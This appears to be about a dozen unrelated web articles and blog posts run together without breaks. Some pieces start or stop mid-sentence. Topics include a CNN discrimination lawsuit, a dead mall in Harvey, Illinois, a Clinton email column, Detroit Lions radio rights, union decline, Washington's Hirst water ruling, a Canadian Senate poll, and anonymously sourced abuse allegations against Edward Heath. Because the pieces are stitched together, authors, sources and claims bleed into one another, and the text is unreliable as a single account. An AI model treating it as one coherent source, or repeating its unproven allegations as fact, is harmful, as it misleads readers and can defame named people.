AdvertisementsYou definitely won’t be reading this on CNN’s website or watching it on their TV station any time soon, but at least 175 former and current minority employees are filing a law suit against the media company for alleged claims of racial abuse and discrimination. The class-action suit has been growing by leaps and bounds ever since it was first filed in December of last year.
The lawsuit against CNN claims that the company’s Atlanta headquarters is rife with racism, The New York Post wrote on April 27. Some employees allege that they have had abusive words hurled at them, while others say they were paid less than their white coworkers:
Minority employees had to endure bigoted remarks such as “It’s hard to manage black people” and “Who would be worth more: black slaves from times past, or new slaves?,” according to a complaint by former workers Celeslie Henley and Ernest Colbert Jr. filed in Atlanta federal court. Colbert Jr. also claims he was paid thousands less than white colleagues as a manager at the affiliated Turner Broadcasting System. Henley, a former CNN executive assistant, says she was fired in 2014 for complaining that black employees were being paid less than white counterparts.
From The Hollywood reporter:
Unlike the lawsuit against Fox News, the one against CNN and sister companies is much broader, claiming among other things that African-Americans receive lower performance ratings in evaluations, that there are dramatic differences in pay between similarly situated employees of different races and that the promotion of African-American employees is blocked by a “glass ceiling.” The complaint (see here) cites hiring and advancement statistics while alleging that African-American employees have endured slurs from superiors, including “It’s hard to manage black people” and “Who would be worth more: black slaves from times past, or new slaves?” While the Fox News suit has grown by one additional employee, the case against CNN may soon become bigger by many multiples. That’s because after the defendants moved for dismissal or at least a more definitive statement about specific allegations, also raising the prospect that some of the claims may be barred by statute of limitations or by plaintiffs not exhausting administrative remedies, the plaintiffs’ attorneys told the judge of their wish to file an amended complaint. According to a plaintiffs’ motion to amend that was filed March 23, “Since the filing of this action, counsels for the plaintiffs have been contacted by more than 175 people, both former and current employees of the Defendant, requesting to be members of the putative class action, all having similar complaints of intentional racial discrimination, discrimination impact and discriminatory practices employed by the Defendants.” The attorneys also write that many of the potential members recently coming forward are within the administrative process at the Equal Employment Opportunity Commission and awaiting their 90-days right-to-sue letter.
If this isn’t poetic justice, then I don’t know what is. CNN has spent the better half of this past decade pushing a “racism is everywhere” narrative, race-baiting every time they can, and turning everything into a race issue. Now it looks like that chicken has come home to roost. I hope they get taken for everything they have (whether they are guilty or innocent of the allegations).Harvard Illinois, located only a half hour or so from where I live, is home to very large white elephant. Please consider the story of the White Elephant of Harvard.
When the sun sets in Harvard, the lights inside the empty Motorola plant power up and a bright glow arches across the sky in this small farm town.
The massive campus—the size of 350 football fields, with a 1.5-million-square-foot building of shimmering glass and steel—demands to be noticed. Not that anyone in town could forget it.
The $100 million cellular-phone plant promised to turn Harvard, a city of 9,000 about 70 miles northwest of Chicago, into a boom town. When the facility shut down in 2003, just five years after its opening, the McHenry County community was indeed changed, but not as expected.
The plant, with four connected buildings, two day-care centers, a cafeteria large enough to seat 1,100, an auditorium and miles of biking and walking trails, is on the market for $18 million to $22 million.
Mesa Arizona White Elephant
Janesville White Elephant
WED., JUL 16, 2008 General Motors Corp. said Tuesday it will lay off salaried workers, cut truck production, suspend its dividend and borrow $2 billion to $3 billion to weather a severe downturn in the U.S. market.
GM said the moves will raise $15 billion to help cover losses and turn around its North American operations, including $10 billion from internal cost-cutting and $5 billion from selling some assets and borrowing against others.
"In short, our plan is not a plan to survive. It is a plan to win," GM Chairman and CEO Rick Wagoner said in a broadcast to employees.
Dead Malls
The 800,000 square-foot mall was shuttered in September, 1979. It has been left standing since. Abandoned.
I cautiously walked inside the gaping hole where the doors once were, and to my amazement there were still labels and decor on the walls from the anchor (presumably Sears) when it was open in the 1970s. This was like a living time capsule. "Curtains" and a brand name was written on one wall, and above all exits was printed "Thank you...Please come again..."
I would have gone in further, as the actual mall part was accessible through here, however, the mold was obnoxious. The mold smell was so strong it made me dizzy and gave me a strong headache, so I went out.
I started walking down the outside of the anchor to find more entrances like this to take more pictures, and I saw them. Dogs. There were two Dobermans about 100 feet ahead of me in the way that I was walking. They were walking, also, and had not noticed me. Immediately I turned around and made a break for my car, which was 50 feet or so away. The dogs had noticed me running and came quickly, but I was way too far ahead of them and in my car by the time they were even halfway so they turned around and went inside the mall. This disappointed me, because at this point I was not afraid of any people I would encounter. However, dogs are a different story. They are completely unpredictable and unreasonable.
After this I took my car around the mall and got out only to take pictures and go right back in, for fear the dogs may be nearby. At some points they were, but mostly they did their own thing. Also, I found out that the gaping holes at that anchor that was presumably Sears were to be found ALL over the mall. The entire mall was open. Mall entrances, anchor doors, even service entrances and the boiler area were all completely open. I walked in some doorways but only to take pictures and leave. I would have gone in further to explore, but it just didn't seem safe.
I drove around the perimeter of the mall this past Sunday (18th May 2008). It basically looks the same as in your pictures: horrible, rotting, depressing, but a very intriguing place nonetheless.
There appears to be a chainlink fence surrounding the entire property. But if you wanted to get inside, I doubt anything (or anyone) would really stop you. I would never, ever, attempt to gain entry by myself. Maybe if I had some friends along (and some decent weaponry), it would be cool. The Harvey Police Dept is situated very close to the mall. Maybe you could get permission from them, though I doubt they would explicitly allow it.
I come from a rather sheltered upbringing, so it surprises me that there are places in the US that are allowed to look like this. It is a truly disgusting display of neglect and apathy.
Much of the resources online are dedicated to ‘what happened’ but few delve into ‘why’ - I think an understanding of the events that caused Dixie Square’s failure is as interesting as the downfall of the mall itself. Probably more important than anything else is urban sprawl, which both created and destroyed Dixie Square as well as Harvey as viable places to live and shop.
So what’s driving urban sprawl? It has to be more than just the economy. And it is. There are also other considerations, such as the notion of white flight. The issues of who is moving where also drives what happens with urban spaces. As urban sprawl pushed development farther and farther out, the land value in places like Harvey plummeted. As this happened, the (predominantly) African-Americans living in poor conditions (caused by urban sprawl) on the south side of Chicago moved into Harvey and surrounding areas. Because of this, the remaining whites in Harvey also left. Land values plummeted even more, crime rates rose, and more people left. People began to shop at newer, bigger malls in newer suburbs like Woodfield Mall in Schaumburg, or Orland Square in Orland Park. This feedback negative cycle makes places like Harvey worse and worse, while constantly investing in things that are shiny-and-new. No one wins except for greedy developers and the brand new suburb-du-jour, and places like Dixie Square become the retail equivalent of a fossil record, indicating poor decisions in urban planning.
More factoids on Harvey and the Dixie Mall
In 1960 Harvey was almost entirely white.
By 1980 it was over 90% black.
In 1979 the mall was used during the chase scene in the Blues Brothers movie.
In 1993 a young woman was raped and murdered in the abandoned JCPenney store.
Super-Bulls and Baby-BullsHere is an idea I’ve been hearing floating around the big data/ tech community: the idea of having algorithms embedded into law.
The argument for is pretty convincing on its face: Google has gotten its algorithms to work better and better over time by optimizing correctly and using tons of data. To some extent we can think of their business strategies and rules as a kind of “internal regulation”. So why don’t we take a page out of that book and improve our laws and specifically our regulations with constant feedback loops and big data?
No algos in law |
been reckless with national secrets? I don't know how that's possible, which makes running for president somewhat difficult.
Obama has endorsed her and campaigned for her. And he hasn't demanded the head of Attorney General Loretta Lynch, who met secretly with Bill Clinton in a private plane where they talked, Lynch said, "primarily" of grandchildren and golf.
Any young federal prosecutor who'd meet privately with the spouse of someone under federal investigation would be fired. Any young foreign service officer who'd dare put government secrets on a private basement email server — where they could easily be hacked by Russian, Chinese or other intelligence services — would be dismissed, if not prosecuted.
And they'd never be able to keep their security clearance.
But Clinton will keep hers. If it is taken away from her, it would be an affirmation that she's not trustworthy enough. And politically, the Democrats wouldn't like that.
And all that begs the second question: Are the Clintons above the law?
Hillary's problem is that most Americans, I think, believe they are above the law.
Republicans hate the Clintons for this, perhaps because Richard Nixon played the same amoral game and was caught and ruined, while the Clintons prosper and swim in treasure.
And many Democrats appreciate the Clinton cunning in the service of their party.
If there's one benefit to the Republicans out of all this is that Hillary Clinton remains the presumptive Democratic nominee. Hillary is about the only Democrat against whom Republican Donald Trump would have a chance.
If she'd been charged, Democrats would have had to call on Vice President Joe Biden. But to clean him up, they'd be forced to offer awkward and embarrassing defenses of the stupid and ridiculous things Biden has said.
Hillary has said plenty of stupid things herself about her email issue, lies mostly, and this was clear from the Comey statement.
The Clinton way is to deny, deny, deny, until the lies are uncovered, and then to say that the new information is just old news.
But the new information coming from Comey is devastating, at least to anyone with the capacity for shame.
She didn't tell the truth early on about using only one email device for convenience. She used several, Comey said. She insisted no classified information was put on her server. Comey said that more than a hundred classified documents were out there, available to foreign hackers.
My theory? Bill Clinton has a multibillion-dollar foundation that accepted contributions from questionable foreign sources and grew to gargantuan size when his wife was secretary of state.
Note that Comey didn't say a word about the Clinton Foundation, which reportedly is still under investigation.
In the universe of the Clintons, politicians can invoke morality after being caught in lies and not even blush. For Bill and Hillary it's all about bending justice.
Listen to "The Chicago Way" — radio-free Chicago in podcast form with John Kass and Jeff Carlin here: www.chicagotribune.com/kasspodcast.
jskass@tribpub.com
Twitter @John_KassOn the day the Detroit Lions announced they are changing flagship radio stations, their long-time home, WXYT-FM (97.1, The Ticket), asserted the switch was made because the tin-eared franchise couldn't control the commentary of their sports-talk hosts. (Photo: Getty Images)
Detroit — On the day the Detroit Lions announced they are changing flagship radio stations, their long-time home, WXYT-FM (97.1, The Ticket), asserted the switch was made because the tin-eared franchise couldn't control the commentary of their sports-talk hosts.
The Lions shot right back, saying WJR-AM (760) simply made, by far, the better financial offer.
"I know there's a bit of narrative out there regarding the notion that, somehow the Lions are practicing some sort of censorship," said Elizabeth Parkinson, senior vice president of marketing and corporate sponsorships for the Lions. "If we were trying to practice any sort of censorship, we certainly would've done it (the switch) much sooner."
The Lions announced Friday morning that, starting in 2016, WJR, the "Great Voice of the Great Lakes," would start carrying the team's games in 2016.
WXYT — first 1270 AM, now 97.1 FM — has been the Lions' flagship station for 18 years, and was involved in the bidding process to extend the relationship.
On Friday morning, Mike Stone, co-host of the "Stoney and Bill" morning show on 97.1, said the Lions long have tried to control the message when it pertained to Lions' talk on 97.1
Mobile users, listen here: Valenti calls Lions a "petty, juvenile organization"
CBS Radio, owner of 97.1, released a statement Friday, saying the same thing.
"It is sad to say goodbye," said Debbie Kenyon, senior vice president and market manager for CBS Detroit. "But in the end it came down to the integrity of CBS — the refusal to be censored in talking about the team and making honest assessments on the air about this team."
The Lions have been among the worst franchises in football for decades, and in their 18 years on WXYT, they've made the playoffs just three times. Understandably, they've been criticized roundly by media from coast to coast, but especially locally.
One of their biggest critics has been WXYT's acid-tongued Mike Valenti, the station's headliner host.
In 2009, Valenti drew the Lions' ire for reading a "Ticket Text" on-air that made light of defensive end Corey Smith, who was missing off the Gulf of Mexico. Smith died in the boating accident, and Valenti issued an emotional apology.
Mobile users, listen here: Valenti reacts to the Lions leaving WXYT
In 2011, then-Lion Ndamukong Suh was so perturbed with Valenti's line of questioning, he cut short an interview, and quarterback Matthew Stafford has opted to do a weekly interview with WJR's Mitch Albom over Valenti and his co-host, Terry Foster, who also works for The Detroit News.
Parkinson disputed the switch was made over Valenti or any other host. But when asked whether the Lions ever have contacted WXYT to discuss content, she wouldn't deny that.
"Anytime that our media is either not factual or misrepresenting the content that they're sharing, those calls are made," she said. "Our media team is working with all the media to correct inaccuracies. Absolutely, they were working with CBS to correct inaccuracies, you name any media outlet, and they've worked closely with our media teammates. If there are inaccuracies, somebody's going to get a call."
Asked if Valenti, specifically, was a problem, Parkinson said: "I'm not going to single out any one individual."
However, Valenti's agent, Mort Meisner, said Valenti was singled out, in contract talks between the Lions and 97.1. He said the Lions demanded Valenti be fired as part of any new pact between the team and the station.
Valenti co-hosts one of the top-rated sports-talk shows in the country, and is the paramount reason 97.1 consistently appears No. 1 in weekly ratings books in Metro Detroit.
"Mike is a clever and creative talent who speaks his mind and that is why he is so spectacularly successful," Meisner said in an email to The News. "To Deb's credit, she stood firm and let the Lions walk as opposed to surrendering to a ridiculous form of censorship."
Valenti responded on his radio show Friday, saying reports were "100 percent accurate."
"This was very personal, because what you guys the listeners don't know is this has always been personal," Valenti said. "If this was the first time my name had had come up about getting rid of me then maybe I'd be jarred by it. But I'm used to this. My station ironically enough made a business decision.... because this show was more important than the Lions.
"Why would it be personal and why would they want me fired? Here is the problem with your football team here. They care more with what Terry and I say here than they do about the product on the field."
The Lions declined to respond to remarks made on Valenti's show Friday. In his introductory news conference, Lions president Rod Wood denied the allegations that the team moved stations because of heavy criticism on 97.1.
Jimmy Powers, program director for 97.1, declined to comment, other than to say the station made a fair offer to keep the Lions. Asked to respond to the Lions' comments, he said Kenyon's statement speaks for him.
WJR general manager Tom O'Brien said the Lions made no mention of content during negotiations.
Mobile users, listen here: Valenti on the Lions departure
"They have no control over the programming," O'Brien said. "At the same time, I think at WJR, we certainly have a level of respect for our partners.
"There's a line we don't have to cross to still be entertaining."
O'Brien confirmed play-by-play man Dan Miller and analyst Jim Brandstatter will be on the call at WJR, and that WJR will be looking for a new sideline reporter. Current sideline reporter Tony Ortiz, of whom O'Brien was very complimentary, is an employee of CBS Radio.
O'Brien also said the station will be airing a fair amount of Lions-centric programming, but has no plans to add daily sports-talk shows.
WJR has been trying to get back into the pro sports game at least for the last year, and were involved in trying to get the Tigers back — before the Tigers decided to stick with 97.1, which narrowly beat Detroit Sports 105.1 (WMGC) for the rights. It's unclear if WJR made an actual bid for the Tigers, whom they carried for decades, until losing them in 2000.
WJR has carried Michigan State football and basketball since 2006.
For 97.1, which for many years carried all four professional sports teams, this is the second loss in two years — last year, the Pistons defected to 105.1, and now the Lions will move on.
While 97.1 bid to keep both, the station's priority has always been to keep the Red Wings and especially the Tigers, who, with their popularity plus 162 games a year, are ratings gold and bring in significant advertising dollars. The Lions, by comparison, only play 16 games a season, so advertising opportunities are limited.
Detroit Sports 105.1 also was involved in the bidding for the Lions' rights.
WJR, despite its 50,000-watt signal and significant reach, especially on clear nights, is believed to be planning on simulcasting Lions games on an FM station.
They're a phenomenal station," Parkinson said of WJR. "It feels like the Lions are getting back to our roots."
tpaul@detroitnews.com
twitter.com/tonypaul1984National Signing Day for the class of 2017 is finally here and Texas A&M looks to make official what should be a Top 15 or 20 class.
The Aggies already have nine commitments on campus as early enrollees, including four of the five highest-ranked pledges. However, there are currently 17 unsigned commits heading into Wednesday as well as one target that is set to announce.
Stay tuned to GigEm247 as we keep track of the letters-of-intent as they roll in beginning a little after 7 a.m. and keep you updated on any possible surprises. We will also have full coverage of the announcement of defensive tackle Joshua Rogers, who is down to A&M, Oklahoma and Ole Miss. He is tentatively set to announce at 11:30 a.m. but it could be earlier than that.
Stay locked in right here as we’ll use this thread to inform you on every faxed-in Letter of Intent and deliver up-to-the-minute breaking news on the day’s big events.
RELATED: GigEm247's VIP predictions for how A&M's class finishes
RELATED: A&M senior RB James White officially headed to Lamar
RELATED: Sumlin says quiet, drama-free signing day was part of the plan
RELATED: Manziel returns to A&M to help out with Signing Day
RELATED: A&M picks up Signing Day commitment from DT Rogers
The players that are already enrolled are:
-Four-star Plano East LB Anthony Hines (#63 overall, #2 ILB, #8 in Texas)
-Four-star IMG Academy WR Jhamon Ausbon (#75 overall, #10 WR, #14 in Florida)
-Four-star IMG Academy QB Kellen Mond (#108 overall, #3 DQB, #20 in Florida)
-Four-star Stafford WR Hezekiah Jones (#180 overall, #29 WR, #31 in Texas)
-Four-star IMG Academy LB Santino Marchiol (#320 overall, #17 ILB, #42 in Florida)
-Three-star Plain Dealing (La.) S Keldrick Carper (#342 overall, #27 S, #13 in Louisiana)
-Three-star Bremond WR Roshauud Paul (#423 overall, #64 WR, #60 in Texas)
-Three-star Pearland QB Connor Blumrick (#36 PQB, #123 in Texas)
-Three-star Birdville OT Jared Hocker (#126 OT, #181 in Texas)
LETTERS-OF-INTENT RECEIVED:
-OT Carson Green (7:07 am)
-S Myles Jones (7:09 am)
-DT Jayden Peevy (7:17 am)
-WR Camron Buckley (7:28 am)
-OL Dan Moore (7:31 am)
-DE Ondario Robinson (7:32 am)
-OT Grayson Reed (7:40 am)
-RB Jacob Kibodi (7:43 am)
-S Debione Renfro (7:44 am)
-CB Devin Morris (7:45 am)
-TE Keynel McZeal (7:53 am)
-OL Adrian Wolford (7:56 am)
-S Derrick Tucker (7:59 am)
-LB Devodrick Johnson (8:13 am)
-TE Camron Horry (8:16 am)
-DE Micheal Clemons (10:54 am)
-DT Joshua Rogers (11:39 am)
-DE Tyree Johnson (1:43 pm)Are American unions history?
In the wake of labor’s defeated effort to recall Wisconsin Gov. Scott Walker (R) last week, both pro- and anti-union pundits have opined that unions are in an all-but-irreversible decline. Privately, a number of my friends and acquaintances in the labor movement have voiced similar sentiments. Most don’t think that decline is irreversible but few have any idea how labor would come back.
What would America look like without a union movement? That’s not a hard question to answer, because we’re almost at that point. The rate of private-sector unionization has fallen below 7 percent, from a post-World War II high of roughly 40 percent. Already, the economic effects of a union-free America are glaringly apparent: an economically stagnant or downwardly mobile middle class, a steady clawing-back of job-related health and retirement benefits and ever-rising economic inequality.
In the three decades after World War II the United States dominated the global economy, but that’s only one of the two reasons our country became the first to have a middle-class majority. The other is that this was the only time in our history when we had a high degree of unionization. From 1947 through 1972 — the peak years of unionization — productivity increased by 102 percent, and median household income also increased by 102 percent. Thereafter, as the rate of unionization relentlessly fell, a gap opened between the economic benefits flowing from a more productive economy and the incomes of ordinary Americans, so much so that in recent decades, all the gains in productivity — as economists Ian Dew-Becker and Robert Gordon have shown — have gone to the wealthiest 10 percent of Americans. When labor was at its numerical apogee in 1955, the wealthiest 10 percent claimed just 33 percent of the nation’s income. By 2007, with the labor movement greatly diminished, the wealthiest 10 percent claimed 50 percent of the nation’s income.
Today, wages account for the lowest share of both gross domestic product and corporate revenue since World War II ended — and that share continues to shrink. An International Monetary Fund study released in April shows that the portion of GDP going to wages and benefits has declined from 64 percent in 2001 to 58 percent this year. The survey compared the United States with Europe, where the only other nations in which labor’s share declined were Greece, Spain and Ireland — countries whose economies are at death’s door. Our economy is nowhere near so weak, but as Americans’ ability to collectively bargain has waned, so has their power to keep all corporate revenue from going to top executives and shareholders.
When unions are powerful, they boost the incomes of not only their members but also of nonunion workers in their sector or region. Princeton economist Henry Farber has shown that the wages of a nonunion worker in an industry that is 25 percent unionized are 7.5 percent higher because of that unionization. Today, however, few industries have so high a rate of unionization, and a consequence is that unions can no longer win the kinds of wages and benefits they used to.
Deunionization is just one reason Americans’ incomes have declined, of course; globalization has taken its toll as well. But the declining share of pretax income going to wages is chiefly the result of the weakening of unions, which is the main reason American managers now routinely seek to thwart their workers’ attempts to unionize through legally questionable but economically rewarding tactics (rewarding, that is, for the managers).
The weakening of unions has had a huge political effect as well: the realignment of the white working class. Since the ’60s, exit polls have shown that unionized blue-collar whites vote Democratic at a rate 20 to 30 percent higher than their nonunion counterparts. The decline in union membership has weakened Democrats in such heavily white, increasingly deunionized states as West Virginia and Wisconsin — the main reason Republicans such as Walker have sought to reduce labor’s numbers. Liberals who have been indifferent to unions’ decline will find it difficult to enact progressive legislation in their absence.
Understandably, some liberals are searching for ways to arrest the economic decline of the majority of their fellow Americans in a post-union environment. I fear they’re bound to be frustrated. If workers can’t bargain with their employers, it can’t be done. If and when Big Labor dies — it’s on life support now — America’s big middle class dies with it.
meyersonh@washpost.comSome background on Hirst
Nothing has highlighted the urban-rural divide in Washington recently quite like the issue known as Hirst. What sounds like a boring battle of bureaucratese has actually upended the lives of so many in rural areas and threatens to hold back our state’s economy (outside the tech bubble, which has had its own rude surprises of late).
It all started with a state Supreme Court ruling last year that overturned decades of water law and common practice. Previously, the state Department of Ecology certified water availability for new wells. The court said this was illegal; under the Growth Management Act, counties have to do that.
So what does that mean? It means counties have effectively ceased issuing new permits to build in rural areas. The decision stalled economic development and left families in the lurch. A new BIAW report estimates that Washington will lose $6.9 billion in economic activity annually if these new rules stay in place.
While Eastern Washington is feeling Hirst acutely, this isn’t merely an East-West divide. Rural areas in Western Washington are suffering too (the case actually originated out of Whatcom County).
Gov. Inslee may talk of “One Washington,” but when it comes to solving Hirst, he’s remarkably blasé. The rumor in Olympia is that House Democrats decided not to pass a Hirst fix because tribes and environmental groups won’t let them.
For urban lawmakers, the response to Hirst is overwhelming complacency. They just don’t care. So we asked for your stories about how Hirst is affecting you. Here’s what you had to say.
You shared your stories
We were overwhelmed by the outpouring of stories, simply too many to share. One couple with 20 acres in Western Washington said Hirst is putting them under tough financial pressure, unable to sell their property. “It has been in limbo, as no water, no houses built, and no sale. It has been a very long ordeal. We need to sell as we need the money.”
That was a common theme, people under pressure who cannot get adequate money for their property. The same couple’s daughter in Eastern Washington is in a similar situation, and Hirst is adding to the woes of even people trying to buy within city limits. “Now the price on existing homes have gone up a lot, and are priced out due to smaller available housing.”
Plummeting values are a problem for many:
“I own and have owned 50 acres in Ellensburg. I cannot put a well on it and this year the value of my property dropped nearly $50,000. This was going to be our retirement home but now we are unsure what to do with it. We are not the only ones affected by this decision that the Democrats are afraid to address.”
Dreams deferred
Many reported that they live in temporary arrangements, their dreams put on hold because property they bought in good faith is now unusable. One man wrote:
“I am a 28 year retired combat veteran and have served in the Marine Corps and Army. I finally bought my dream property, 10 acres with an existing well, and cannot get a building permit due to the Hirst Decision. Most of my belongings are in storage and I am renting a small apartment until this issue gets decided.”
Larger acreage with intended farming purposes won’t get you around Hirst. One couple with 60 acres “and only one person close to it” in Eastern Washington want to build a small farm but “we need a well without the extra costs.”
Looking for a solution
A couple with 20 acres in Whatcom County noted that Hirst’s effects go beyond rural homeowners:
“This loss of property value will have a negative effect on our local rural school district as there are many parcels of undeveloped land. This will also shift the property tax burden to homeowners and I don’t think they realize the negative consequences for them. Many people think the Hirst decisions is only for new wells. Not true. We have repeatedly called and written the legislature to no avail.”
That desire for a permanent political solution was echoed throughout many of your responses, and it’s left a bitter taste for some. “With the Legislature and Governor being unwilling to address the issue we know where we are in the pecking order,” a pair of retirees wrote in.
One man noted that the decision is about so much more than just water access:
“After spending nearly 50 years in Seattle, I purchased land in Eastern Washington to develop as a homestead for retirement, emergency preparedness and a slower, more conservative lifestyle than what the cities have become. I do not complain about the way others choose to live provided they also accept my choice to honor God and the heritage that is America. That is the same America that I served in the military to honor and keep.
“We are now faced with unbelievable water rights costs, restrictions, limitation, red tape, and bureaucracy.
“We have marijuana plantations within a few hundred yards of our property yet we are struggling to get through the necessary hoops to build a simple retirement homestead.”OTTAWA – A new poll shows that when it comes to the Senate expense scandal, the court of public opinion has an early verdict — and it shows that all the senators involved as well as Prime Minister Stephen Harper may be losers.
The Ipsos Reid poll finds that two out of three Canadians agree with Harper when he says senators Mike Duffy, Pamela Wallin and Patrick Brazeau should be suspended without pay.
But the poll, taken in the three days before Monday’s bombshell revelations from Duffy that there was a second cheque given to him, also suggests Canadians are not buying Harper’s story about what he knew and when he knew it.
For example, Harper and his aides have, as recently as Monday, insisted that the PM had no idea that his former chief of staff, Nigel Wright, was going to write a $90,000 cheque from his personal account and give that to Duffy so the embattled senator could re-pay the Senate for what had been deemed ineligible housing expense claims.
"The Prime Minister has been clear: he was not aware of the agreement between Wright and Duffy; had he known he would not have approved of it because it is inappropriate and that is why Mr. Wright is no longer working for the Prime Minister," Harper’s chief spokesman Jason MacDonald said Monday.
And yet, when Ipsos asked survey participants if they believed Harper’s claim of ignorance, 65% did not and 35% did. Even in Harper-friendly Alberta, 48% don’t believe and 52% do.
When Ipsos asked its 1,102 survey respondents if they approved of the way Harper was handling the Senate expenses issue, 67% of respondents said they did not.
Of those who told Ipsos they were inclined to vote Conservative if an election were held today, one in three disapproved of the way Harper was dealing with the scandal.
Ipsos had more bad news for the Conservatives in its poll: When it asked its respondents who they would vote for, just 29% said they’d vote Conservative — behind the Liberals and NDP who were tied at 31%.
That’s the first time in ages the Tories have been third in any "vote intention" poll and certainly the first time the NDP has been anywhere near first since Justin Trudeau became Liberal leader.Edward Heath with his piano at his home Arundells in Salisbury, Wiltshire
The police chief investigating claims that Sir Edward Heath was a paedophile is convinced the allegations are ‘120 per cent’ genuine, The Mail on Sunday can reveal.
More than 30 people have come forward with claims of sexual abuse by the former Conservative Prime Minister, according to well-placed sources.
And they are said to have given ‘strikingly similar’ accounts of incidents to Wiltshire Police – even though the individuals are not known to each other.
The Mail on Sunday has been told that Wiltshire Chief Constable Mike Veale regards the allegations as ‘totally convincing’, and plans to publish a report in June.
Detectives have established that, contrary to claims that Sir Edward could not have committed the crimes as he ‘never drove a car’ and ‘always’ had a police driver with him, he did drive – and did have a car.
They have photographic evidence that shows he is a driver, and have established that he had a driving licence. He also bought a Rover 2000 after being deposed as Tory leader by Margaret Thatcher in 1975, when he was 58.
Astonishingly, Mr Veale is also understood to support claims that Sir Edward’s alleged crimes were reported to police years ago but covered up by the Establishment.
Some of those who said Sir Edward abused them are believed to have told police they went on to commit sexual abuse crimes themselves as a result.
The investigation into Sir Edward, called Operation Conifer, was set up in 2015 in the wake of the Jimmy Savile scandal.
Mr Veale came under pressure to abandon the inquiry last year after separate claims of a paedophile ring at Westminster involving former Home Secretary, the late Lord Brittan, and former Defence chief, Lord Bramall, were found to be groundless.
Wiltshire Chief Constable Mike Veale regards the allegations as ‘totally convincing’, and plans to publish a report in June
Allegations that Sir Edward was involved in satanic orgies have been dismissed as fantasy by an expert asked to review the case.
However, The Mail on Sunday has been told that Mr Veale believes the paedophile allegations are genuine. A source said: ‘Mr Veale believes in them 120 per cent and thinks they are totally convincing.
‘There are very close similarities in the accounts given by those who have come forward. The same names used for him, the same places and same type of incidents keep coming up.
‘What stands out is that the people giving these accounts are not connected but the stories and the details dovetail.
‘It contains disturbing stuff. Investigators have been shocked by what they have learned.’
Another source said: ‘The police were initially sceptical about the allegations, but now believe them. And they have come round to the view that they were covered up in the past because of who Heath was.
DO THESE PHOTOS UNDERMINE EX PM'S DEFENCE? Sir Edward Heath seen with his car in Weymouth, despite claims he never drove These are the photographs that appear to disprove the notion that the allegations against Sir Edward cannot be true because he ‘never drove a car’ and was always accompanied by police. Both were taken in October 1975. In the main picture on the right, Heath is standing by the driver’s door of the Rover 2000 he bought after Margaret Thatcher ousted him as Tory leader in February that year. In the picture on the left, he is seen arriving at the Tory Party conference in Blackpool – in the driver’s seat. The Mail on Sunday has learned that Wiltshire Police has also obtained photographic evidence of him driving. The issue was first raised by former Cabinet Secretary Lord Armstrong, who worked with Sir Edward in No 10. Lord Armstrong said Sir Edward – whom he described as ‘asexual’ – had a 24-hour police guard and driver from the day he became PM in 1970 to his death in 2005, and did not have his own car. ‘When he was at home he had two policemen on the gate, he had the personal protection officer from Scotland Yard in the house, he never drove a car himself, he always had an official driver,’ said Lord Armstrong. ‘It seems highly unlikely he could have escaped all that to do the kind of thing that is described.’ Sir Edward Heath again pictured driving, this time leaving leaves the conference for the sea breezes of Weymouth Sir Edward bought the Rover after losing the chauffeur-driven car he was entitled to as Prime Minister, then Opposition leader. A confidant of the former PM said: ‘He definitely could and did drive, though was a notoriously bad one. When he went to music concerts in Salzburg and hired a car, he was meant to drive it because his British police guards weren’t officially allowed to. ‘But they insisted as they were frightened he was going to crash.’
‘They will not be deflected by the rich and powerful trying to do the same now. Mike Veale is doing a great job and should be congratulated for his courage.’
The disclosures come after several senior politicians dismissed the allegations against Heath as absurd and unfounded. Former Tory Foreign Secretary Sir Malcolm Rifkind complained Heath’s reputation was being ‘besmirched’. Heath’s sexuality has been the source of much speculation over the years. Some believed he was gay, others said he was ‘asexual.’ At one point, he was being investigated by no fewer than five police forces – the Met, Wiltshire, Hampshire, Kent and Jersey.
The claims, some of which have been proved false, include alleged links to a convicted brothel keeper known as Madame Ling-Ling. A paedophile dossier compiled by Labour peer Baroness Castle said he offered young boys trips on his yacht, and in a separate incident one man claimed Sir Edward picked him up hitchhiking in Kent as a 12-year-old in the 1960s and lured him to his Mayfair flat.
Labour MP Tom Watson also said he had received allegations about Sir Edward. However the claims Mr Veale is investigating, which date from the 1960s to 1990s, are not linked to the discredited evidence of the man known as ‘Nick’, who alleged a high-level paedophile ring.
One of the key counter-claims made when the allegations first surfaced came from former Cabinet Secretary Lord Armstrong, who worked with Heath when he was Prime Minister. He said Heath ‘never drove a car’ and always had at least one policeman with him from 1970 until his death in 2005.
Labour MP Tom Watson also said he had received allegations about Sir Edward
The fact that Sir Edward could drive was confirmed last night by a friend, who said the former Prime Minister bought a car in 1975, although Sir Edward was later given a chauffeur-driven car and police guard after IRA death threats.
Asked if Mr Veale believed the allegations against Sir Edward were ‘totally convincing’, a police spokesman said the Chief Constable was determined to ‘ensure the investigation is proportionate, measured and legal’ and that the job of the police was to ‘impartially investigate allegations without fear or favour and go where the evidence takes us. It is not the role of the police to judge the guilt or innocence of people in our criminal justice system.’
Further asked if Mr Veale had ‘120 per cent’ faith in the allegations, the spokesman declined to comment.
Police refuse to call off the dogs after VIP child sex ring fiasco
Launched in 2015 to investigate allegations against Sir Edward Heath, Operation Conifer has been dogged by claims that it traduces the reputation of a Prime Minister who died more than a decade ago and could not be put on trial.
The operation, which has a staff of 17 and has run up a bill approaching £1 million, did not get off to a good start when Wiltshire Chief Constable Mike Veale had to apologise for launching it in front of cameras outside Sir Edward’s former house, Arundells, in Salisbury.
Demands to call it off grew last November when Scotland Yard was forced to abandon its Operation Midland investigation into similar claims of a VIP paedophile ring in Westminster.
After a flurry of false accusations, Commissioner Sir Bernard Hogan-Howe apologised to former Defence chief Lord Bramall, ex-Tory MP Harvey Proctor, DJ Paul Gambaccini and Lady Brittan, widow of the late Lord Brittan.
A police officer stands at the gate of Arundells, the former home of Heath when the probe was launched
Pressure on Operation Conifer mounted after this newspaper revealed how an expert, brought in by police to assess claims that Heath was linked to paedophiles who held satanic orgies, dismissed them as fantasy.
Days after The Mail on Sunday report, Mr Veale came out fighting and insisted Operation Conifer was not a ‘witch-hunt’.
In a surprise statement released on December 2, he said he refused to ‘buckle’ to demands to abandon the inquiry, and stressed his officers had not spoken to ‘Nick’, the man at the root of Operation Midland.
The Heath investigation was not a ‘fishing trip’, he said, adding that he was ‘duty-bound’ to go ahead with it ‘without fear or favour and go where the evidence takes us’.
He accused his critics of ignorance, and rebuked them for using ‘inappropriate and unacceptable pressure’ in an attempt to halt the inquiry.
Mr Veale said a ‘significant number of individuals’ had alleged abuse, but refused to say how many or give details of the only two people to be arrested.
